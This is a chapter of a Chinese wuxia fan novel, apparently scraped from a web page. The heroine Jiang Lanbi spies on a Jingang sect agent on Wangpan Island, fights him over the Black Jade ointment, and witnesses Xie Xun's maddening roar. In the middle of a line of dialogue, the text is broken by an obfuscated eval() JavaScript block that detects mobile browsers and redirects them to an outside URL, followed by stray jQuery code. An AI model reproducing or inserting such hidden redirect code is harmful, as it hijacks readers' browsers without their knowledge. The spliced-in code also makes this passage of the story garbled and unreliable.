12.并著莲舟不畏风(8)
作品:《[综武侠]攻略成功后她死遁了》 自那日起,姜兰璧再没有在王保保身边见过阿三,不止是他,另有五个随身侍从也消失不见。她猜测他们定然是被派去执行什么任务去了。至于具体任务,应该与那信笺有关。
三日的时光如白驹过隙,一晃而过。王保保按照约定的时间率人离去。
这些日子以来,姜兰璧百般揣摩,始终不解。只顺着蛛丝马迹,追查到了位于临安府的龙门镖局。
龙门镖局的总镖头都大锦,是少林俗家弟子出身,以一手连珠钢镖闻名江南,人送外号“多臂熊”。
他不久前刚接到一趟镖,亲自带领镖局中数名年轻力壮的镖头出去走镖。
再多的,就没有了。都大锦御下极有一手,镖局中留下的众弟子对此次护的镖守口如瓶。派去打探消息的人无功而返。
正当毫无头绪之际,江湖上又传来三条骇人听闻的消息。
一是武当俞三侠遭人暗算遭人用大力金刚指捏碎四肢关节。
二是张五侠迁怒龙门镖局,一气之下屠了龙门镖局满门。
三是天鹰教在王盘山试刀立威大会,邀请江南诸帮会参加。
与前两条相比,第三条是实在不足为道,听者往往闻之即忘。姜兰璧却恍恍惚惚地觉得自己于黑暗中仿佛抓住了一丝模糊的微光。
天鹰教、试刀立威大会、屠龙刀、俞岱岩、龙门镖局、张翠山......
这些熟悉的字眼组合在一起,化成一个令她不愿去相信的谜底。
海沙帮也收到了天鹰教的请柬。
姜兰璧抬起头,望向天际,长空万里,漫无边际,好似一块濯洗过后的淡蓝琉璃,日耀闪烁,一阵令人心神眩晕的微光投射向她。
不过短短十五日,却已是物是人非。
那日与俞岱岩分别时的场景依旧历历在目,他吐露心声前那失措闪烁的目光,他送她回余姚一路上的以礼相待,从未挟恩图报。
一桩桩、一件件竟都在此刻浮现在眼前,从未有过的清晰。
若他像宋缺一般与她有着水火不融的深仇大恨,若他像石之轩一般有个心怀不良的开端,她自然可以当作无事发生,左右没有他,还有个王保保。
但是,是她将屠龙刀交给他,是她将他扯入了泥潭,难道她真的能够视若无睹?
姜兰璧扪心自问。
沉重的风缓缓地拂过她的面颊。
她听到了自己的心声。
她做不到。
在这一刻,所有的彷徨与犹豫都烟消云散。
她下定了决心。
……
凌退思抬眸惊讶地望向姜兰璧。
姜兰璧仿若没有察觉到他眼底的探究之色,微微笑道:“爹爹如今的身份不方便出面,元广波向来畏首畏尾,把他推至人前当个有名无实的帮主,不怕他另生异心。
但若真有大事发生,他始终不堪大任,反而会坏了我海沙帮得来不易的名声。不如由我前去,此前我已经在天鹰教面前露过面,这次我便以元广波义女的身份前往,倒也不会惹人瞩目。 ”
凌退思万万没有想到她找他居然是因为这个原因,悬笔的手腕停在半空中,迟迟没有落下。
比起外人,他是始终更愿意相信自己的血亲。这是人之常情,他也不能免俗。
大女儿霜华出生时,他与妻子仍处于柔情蜜意之中,那时对霜华自然比较上心,他是当作大家闺秀来养的
再往后,变故骤生,他再也不是从前那个凌退思了。比起这些无关紧要的感情,还是他的大事更为重要。
兰璧被接回来后,有下人服侍,他一直没有怎么管。
有时候,他也会想若是兰璧是个男子就好了。
不过也正是因为她不是男儿身,他才能够像如今这般毫无忌惮地把一切交给她。
若她真是个男子,自己反而还要分出心神去防备她。
到底不过是个女儿家,再怎么样都不会忤逆父意。
凌退思难得地想起了许多年前自己第一次见到这个女儿时的场景。
那日晴空万里,是难得一见的好天气。他听到随从的传信岳父已至,起身前去相迎。与岳父久别重逢,寒暄过后,他的腿后就探出一张玉雪可爱的小脸,凌退思微微一怔,立刻认识到她就是自己素未蒙面的小女儿。
先前岳父在信中夸耀道兰璧如何如何伶俐可爱,他也没有放在心上,只觉得是人之常情,所有人都会对自家孩子盲目偏爱。再者,恐怕也是源于岳父心底的一丝隐忧,他怕自己冷待这个小女儿,故处处将她好话。
如今一见,这孩子果真是生得一副出色的容貌。
凌退思向着她微微一笑,伸出手。
兰璧沉默着,也不上前,只是一只小手攀着岳父的衣袍好奇地望着他。那双黑葡萄似的大眼睛里露出了孺慕的怯怯眼神。
父母之恩,养育之情,总归是难以舍弃的。
霜华如此,兰璧定然也是。
凌退思沉吟许久,没有再犹豫,落下笔。
三日后,试刀立威大会的前一天,姜兰璧到达王盘山。
王盘山是一座小岛,十来艘前来参加试刀立威大会的帮派座船停靠在港湾处。夜色沉沉,海面平静如镜,风吹动林叶发出一阵窸窣轻响。
姜兰璧本在船上休息,听到声响,便从窗牖望出去,只见黝暗的山壑上有一道人影如飞鸟般极快掠过。
因修炼长生诀之故,她耳清目明,远胜寻常人,连习武之人也难以相比,因此将这一切都看得一清二楚。
天鹰教教主殷天正是明教四大护教法王之一,因教主阳顶天失踪后,教中人为夺教主之位而纷乱四起,殷天正见这乱象,出走至江南另创天鹰教。
天鹰教源于明教,因而一些教规也大致与明教相仿。明教尚白,天鹰教教众也穿着一身白袍,只在袍上绣着一只黑鹰,以作区分。
这人却穿着一身黑色夜行衣,故意避人耳目,显然不是天鹰教的人。
姜兰璧略一思索,取出巾帕围在脸上遮住容貌,随即飞身跟上。
黑衣人身轻如燕,一袭黑衣在夜间如鬼魅一般,不过眨眼间,已避过岛上天鹰教弟子,翻过一座山,往一处平阔之地奔去。从他的轻功来看,她料定他的武功定然不会逊色,恐怕他发现,因而她远远落下一大段距离。
很快的,黑衣人就到达一处山洞,往里走去。
姜兰璧停了停,跟着往里走去。甫一入洞内,一股炙热的气流便扑面而来,温度远要比外间高得多。越往里走,越发炎热起来,且光线更加明亮。
姜兰璧注意到这一点,愈发觉得这个山洞有些奇怪。寻常山洞越往里头,越是幽暗寒冷,这个山洞却截然相反,里面定然是别有洞天。
这黑衣人来到此处又是为了什么?
她心中惊疑不定,再往深处走去,离人越近,里头人的说话声音更加清晰。
是两个男人的声音。
再转弯往里走,就是洞底了。这山洞是天然的,石壁凹凸不平,有一处凹陷的,姜兰璧藏入中间,隐住身形,放轻呼吸去听两人讲话。
她微微探出身,往里望去。
洞底摆放着一座铁鼎,升起的火焰约有一丈高,火光明耀,热浪层层推来。鼎旁站着两个男人,一年长一年轻,年轻的男人身着天鹰教白袍,显然是天鹰教弟子,另一年长的男子一身黑衣,背对着她,就是姜兰璧跟踪的人。
黑衣男人开口问道:“天明,屠龙刀怎能又落入了天鹰教的手中?”
是熟悉的塞北口音。
姜兰璧心间一动,想到了一个人。
那天鹰教弟子却字正腔圆地回道:“启禀师父,那日俞岱岩根本没有带屠龙刀来,只是以一片木板混淆耳目,他趁机救了那少女就走了。殷素素不堪受其愚弄,在他回武当的途中设下埋伏,才夺走了屠龙刀。”
他说话倒是没有什么塞北口音,浑然一个中原人士。
“你说他救走了一个少女......”
火光中,那黑衣男人微微偏转过身来,皱起眉峰,露出思考的神色,脸颊上的一大块黑痣和三根毛分外明显。
姜兰璧一惊,这黑衣男人果然是此前她在王保保身边见过的金刚门阿三。
但这天鹰教弟子叫阿三师父,那他也是金刚门弟子。
他是金刚门安插在天鹰教中的耳目。
那天鹰教弟子回道:“不错,这少女本就是跟随在俞岱岩身边的。听说是海沙帮的人,殷素素派人将其掳来,就是为了从俞岱岩手中得到屠龙刀。”
阿三沉吟道:“可是俞岱岩后来却是只身前往武当的......你可曾亲眼见过那少女的容貌?”
那天鹰教弟子否认道:“没有,那夜弟子被派往另一处执行任务。不过,教中有许多人见过她的面容,听说是从未见过的绝色。”
阿三听后不做声,他心中有数,猜测到了这少女的身份。
那天鹰教弟子又道:“师父,殷素素这次回来还带回了武当派的张翠山......她对这张翠山很是不同。”
阿三点点头,提醒他道:“小王爷已对我们有所不满。明日试刀立威大会,势必有乱,你且注意留心,此刀万不能落入武当派的手中。如有意外,我会在暗处助你。”
那天鹰教弟子惊诧道:“这是为何?我金刚门上下皆以归顺汝阳王,奉命唯谨,有何不妥之处?”
阿三冷冷道:“都是刚定那蠢货惹出来的,他贪图屠龙宝刀,偷偷前去夺刀,惹了不该惹的人。”
那天鹰教弟子听后登时膛目结舌:“师叔他竟然……那他现在如何?”
阿三面容冷峻道:“他已经死了。只是死了也就罢了,竟还叫人识破了他的身份。他是金刚门的弟子,自然会牵连到我们。”
当看到那具被挖出的那具尸首时,他脸色顿时难看起来,心虚之下又往小王爷脸上偷偷窥去,却见他的脸色是从未有过的冰冷。
他本还心存侥幸,盼着小王爷认不出刚定的身份,毕竟此前刚定从未在他面前出现过。金刚门那么多僧众,但只有他、阿二以及刚相三人一直追随在小王爷身边。
不过,小王爷在看清楚那具尸体面容的那一刻就冷冷暼了他一眼,虽未说什么,但此后便不如之前倚重他了。
他心知,小王爷定然是猜到了。
尤其是最近花刺子模国进贡来一赤发头陀,不仅脸被火烧毁,还是个哑巴,但武功不但丝毫不逊于他们三人,甚至还要更胜一筹。他来了不过短短月余,但在王府中的地位,仅次于玄冥二老。
阿三不免有些忌惮。
金刚门里虽是一众出家僧人,但都不是什么六根清净的得道圣僧。若非如此,也不会从遥远的西域千里迢迢地来投奔汝阳王府,不过也是贪图荣华富贵这些俗事罢了。
如今,他们眼睁睁地看着有人突然一跃而上,地位直接越过他们,心中则能不着急?
那天鹰教弟子虽不在王府,看样子也一直在关注府中的风吹草动,他摸透了阿三的心思,眼睛一转,就在旁吹捧道:“刚定师叔已然身死,虽做了错事也已经付出了代价。更何况,他也并未夺得屠龙刀,没有误了王爷大事。小王爷不过是一时之气,给个教训冷冷金刚门罢了。师父武功高深莫测,又岂是其他人能替代的?此次武当一行,小王爷还不是派师父前去了。”
此行小王爷派他前往,还叮嘱他用少林功夫,为的其实是将伤俞岱岩的嫌疑引到嵩山少林去。
要想做到这一点,偏他金刚门人才能做到。
阿三心知这一点,但听他这么说,心中很是受用,眼角不知不觉浮现几丝笑纹。
两人互通消息过后,就不再说要事。寥寥聊了几句之后,那天鹰教弟子为免离开过久引起同屋天鹰教弟子的怀疑,就准备先行离去。
他缓缓往山洞外走去,忽感到一束视线落在自己身上,谨慎望去,一个蒙面女子站在石隙之间正冷冷地盯着他。
四目相对,那天鹰教弟子瞪大了眼睛,失声惊道:“你......”
但他只来得及说出这一个字,就被姜兰璧扼住喉咙,再也发不出声音来。
“.....天明?”
阿三听到动静,就想要出来察看,却见一蒙面女子右手捏着天明的脖子自甬道转角处慢慢踱步而出,一双潋滟美眸冷冷向他扫来。
他脸色瞬间一变,知晓方才的话肯定都落入这蒙面女子耳中,但看她蒙着脸,定然也不是天鹰教的人。且她未直接杀死天明,反而挟着他来到他面前,料想还有回旋的余地,心稍稍落下,沉着开口道:“阁下是何意?”
姜兰璧沉着嗓子道:“金刚门好手段,搅得中原武林一团
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788640|155342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
儿乱。我也不想掺和进这其中,只是想要一物罢了。”
说罢,她微微松手,那天鹰教弟子立即哀声求救:“师父,救我!”
阿三不动声色地问道:“你想要什么?”
姜兰璧淡淡回道:“黑玉断续膏。”
黑玉断续膏乃金刚门秘药,大力金刚指断人肢骨,唯有此药能够治愈。
阿三面色一沉,她要这黑玉断续膏做何用,近期内只有俞岱岩用得上。更何况,此药他如今只剩下一盒,用光了再要,就要派人去西域金刚门取,是万万不能交予这神秘女子的。
他道:“黑玉断续膏如今不在我身上,阁下即使以我弟子的性命相威胁,我也拿不出。不如,阁下随我到大都走上一趟亲自去取。”
那天鹰教弟子一听知晓师父是将他抛弃了,再不会管他死活,面上霎时间流露出惊慌的神色,大声插嘴道:“师父向来会将黑玉断续膏随身携带。姑娘,你别被他给骗了。”
如今,唯一的生机,就是两人相斗,他趁机逃脱。
阿三冷冷一笑道:“你小子已经被吓破了胆,在这胡言乱语什么?”
说罢,脚下一动,身形如鬼魅般飘来,竟是毫不顾忌自己弟子的安全,转瞬间已来到姜兰璧的身前,右手五指并拢,朝她手腕捏来。
姜兰璧还带着一个天明,自然没有他轻盈,躲避已是不及,便捉住天明挡在身前。
不料,阿三竟不避不让,右手直接落在了天明的颈间。咔擦一声,颈骨折断,天明软软地垂下头,立时死去。
姜兰璧将他的尸体扔向阿三,同时飞身向他太阳穴初袭去。
十几招之后,阿三颓势略显。
他已察觉出论武功,对方也并非在他之上,尤其是在力道上,她一个女子根本胜不过他。但偏偏她的武功路数诡异,生平未见,他一时间难以拆招。而她更是抓住这一点,利用自己的轻功优势以柔克刚,直将他逼向铁鼎。
姜兰璧用的是长生诀的功夫,这个世界没人见过,一开始自然难以应对。
但只适宜速战速决,绝不能拖久,容易被人瞧出破绽。她就是知道自己的优势,才敢有今天这一搏。
姜兰璧已经瞧出黑玉断续膏的“藏身处”,一掌拍向他的胸前,趁其伸手抵挡之时,掌风下落至他腰间,手腕一转,从阿三腰间取出一木匣。
阿三跌跌撞撞地站定,身后即是铁鼎,烈火炙烤,热气汹涌,豆大的汗水从他额上滑落。
山洞逼仄,他已被这神秘女子逼得步步后退,再往后,便是那炽热滚烫的铁鼎。
他再无后路可退。
黑玉断续膏甚为重要,宁愿毁去,也决不能落入这女子的手中。
他面色铁青,咬了咬牙,伸手朝她手腕一击。
木匣飞出,直往鼎里飞去。
姜兰璧身形一动,就想飞身去接,但阿三竭力来阻拦。
等她一掌击退阿三时,为时已晚,只能眼睁睁地看着那木匣被掷入铁鼎里燃烧的熊熊烈火之中。
这只铁鼎本是天鹰教为了扬刀立威之用,这鼎中的火已生了整整七日七日,不曾熄灭。木匣落入火中,顷刻间灰飞烟灭。
阿三咽下喉间那股泛起的血腥气,冷冷道:“如今黑玉断续膏已毁,倒看阁下还要如何? ”
话音未落,洞外倏然间传来一声长啸,像是极远,又似极近。
阿三神色剧变,脸上流露出痛苦的神色,忽伸出双指直戳进自己的耳中,不留任何余力。手落下之时,两道鲜血自耳中流下,他却像是劫后余生般松了口气,盘膝打坐,运起内力疗伤。
姜兰璧只觉耳间一声嗡鸣,头昏脑胀起来,但直持续一瞬,世界便陷入一片沉寂之中。她顿感不妙,外面定然发生了大事,当即也顾不得他,飞身往外奔去。
站在山头,茫然四顾。不知何时,原本来参加试刀立威大会的群雄都在港湾外的河滩上。
群雄或已晕厥倒地,生死不知,或满地打滚,张着嘴似在哀嚎,只有寥寥几人内力深厚,勉有余力盘膝坐下,运内力相抵,面如金纸,豆大的汗珠自额上淌下。
远处有一艘小船渐渐驶远海岛。依稀可见,船头仿佛立着三个人,中间一人是个身材魁梧的大汉,金发迎风蓬乱,他身侧站着的是一对儿男女,女子面容轮廓颇为熟悉,正是的殷素素,至于那男子,她没有见过。
天地仿佛陷入一片寂静之中。地上打滚的人仿佛声嘶力竭的痛吼着,面上、颈间青筋隆起,尘土沾染在他们满是汗水的通红面皮上。
但她却什么也听不到。
姜兰璧张了张嘴发出声音,依旧听不见。
在一切虚浮中,长生诀的声音在她脑海中响起:“我暂时封住了你的听觉。方才谢逊闯入岛上夺走屠龙刀,他寄内力于啸声,令人神智错乱,这岛上诸人,现下都已经疯了。”
......
两日后,一条小舟往王盘山驶来,舟上一青一黑两条高大身影。及至港湾处,两个男子持剑从舟上下来。
河滩上一群人或坐或立,头发蓬乱。青衣男子见此场景当即朝人群奔去,捉住一人的肩询问着,但那人什么反应也没有,只痴痴傻傻地对着他笑。
他年轻英挺的面容上露出惊愕的神色,再看周围人,神色呆滞,喃喃自语,正要松开眼前人,却觉他极为眼熟,仔细地向他蓬乱发丝下的面容望去,忽而大声道:“二哥,这是昆仑派的高则成。”又暼向身侧,补充道,“蒋立涛也在此。”
黑衣男人年长一些,含而不露,他深深望着山壁刻着的二十四个大字“武林至尊,宝刀屠龙。倚天不出,谁与争锋[1]”
这十六个字龙飞凤舞,雄浑刚健。
正是张翠山的字迹。
黑衣男人沉声道:“五弟定然到过此地。”
青衣男子闻言大惊失色,当即一个一个捉住河滩上的人辨认起他们的面容来,一边辨认一边还大声喊着“五哥”。
黑衣男人却若有所感,一双沉静的眼眸向一个方向望了过去。
山顶之上,浮云卷霭。一个白衣女子袅娜而立,遥遥地朝他们这个方向凝望而来。她的面上蒙着一层面纱,叫人看不清面容,但身姿如弱柳扶风,衣袂飘飘若溯风流雪。
即使相隔很远,他仍能察觉到,她的目光,似有若无地落在了他们的身上……

